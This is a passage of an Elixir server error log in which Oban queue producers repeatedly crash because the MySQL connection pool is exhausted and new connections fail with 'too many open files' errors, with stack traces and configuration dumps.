    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:32:12.248263Z], limit: 50, uuid: "46859e0e-1379-40c1-8b08-d200c7bf2f83", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:12.248270Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.63524>, refresh_timer: #Reference<0.2525715032.1068498948.63500>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:24.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:32:12.252473Z], limit: 10, uuid: "6ed114ae-94b9-4ffd-bdee-663f74da8259", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:12.252479Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.42617>, refresh_timer: #Reference<0.2525715032.1121189889.198149>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:24.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:32:12.239818Z], limit: 5, uuid: "c2d5c3fb-d615-46d0-b91a-967a85b18016", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:12.239827Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.42615>, refresh_timer: #Reference<0.2525715032.1077673987.42523>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:32:12.240725Z], limit: 3, uuid: "15d53d3a-3b13-43f5-ad86-e2b084738479", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:12.240732Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.198157>, refresh_timer: #Reference<0.2525715032.1068498948.63483>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:24.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:32:12.249825Z], limit: 5, uuid: "e902c15b-9764-4a4e-9467-7d80465f2016", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:12.249831Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.42616>, refresh_timer: #Reference<0.2525715032.1077673987.42608>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:25.094000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:26.623000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:26.787000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:27.520000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:30.327000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:30.779000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:30.826000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:33.795000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:32:24.239071Z], limit: 20, uuid: "fd5506b6-f75b-4981-8275-a4015060fa5d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:24.239077Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.198618>, refresh_timer: #Reference<0.2525715032.1121189889.198567>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:32:24.246776Z], limit: 50, uuid: "2c592a5d-8dbf-405d-a2ba-88c58fd9e826", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:24.246783Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.198622>, refresh_timer: #Reference<0.2525715032.1068498948.63659>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:32:24.243358Z], limit: 3, uuid: "7b15cba4-fbf6-42a9-b95e-d72a613e7a9e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:24.243364Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.198621>, refresh_timer: #Reference<0.2525715032.1121189889.198606>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:32:24.242324Z], limit: 10, uuid: "d1c51700-de33-4836-a498-21f2ce6451d4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:24.242331Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.198619>, refresh_timer: #Reference<0.2525715032.1121189889.198556>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:36.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
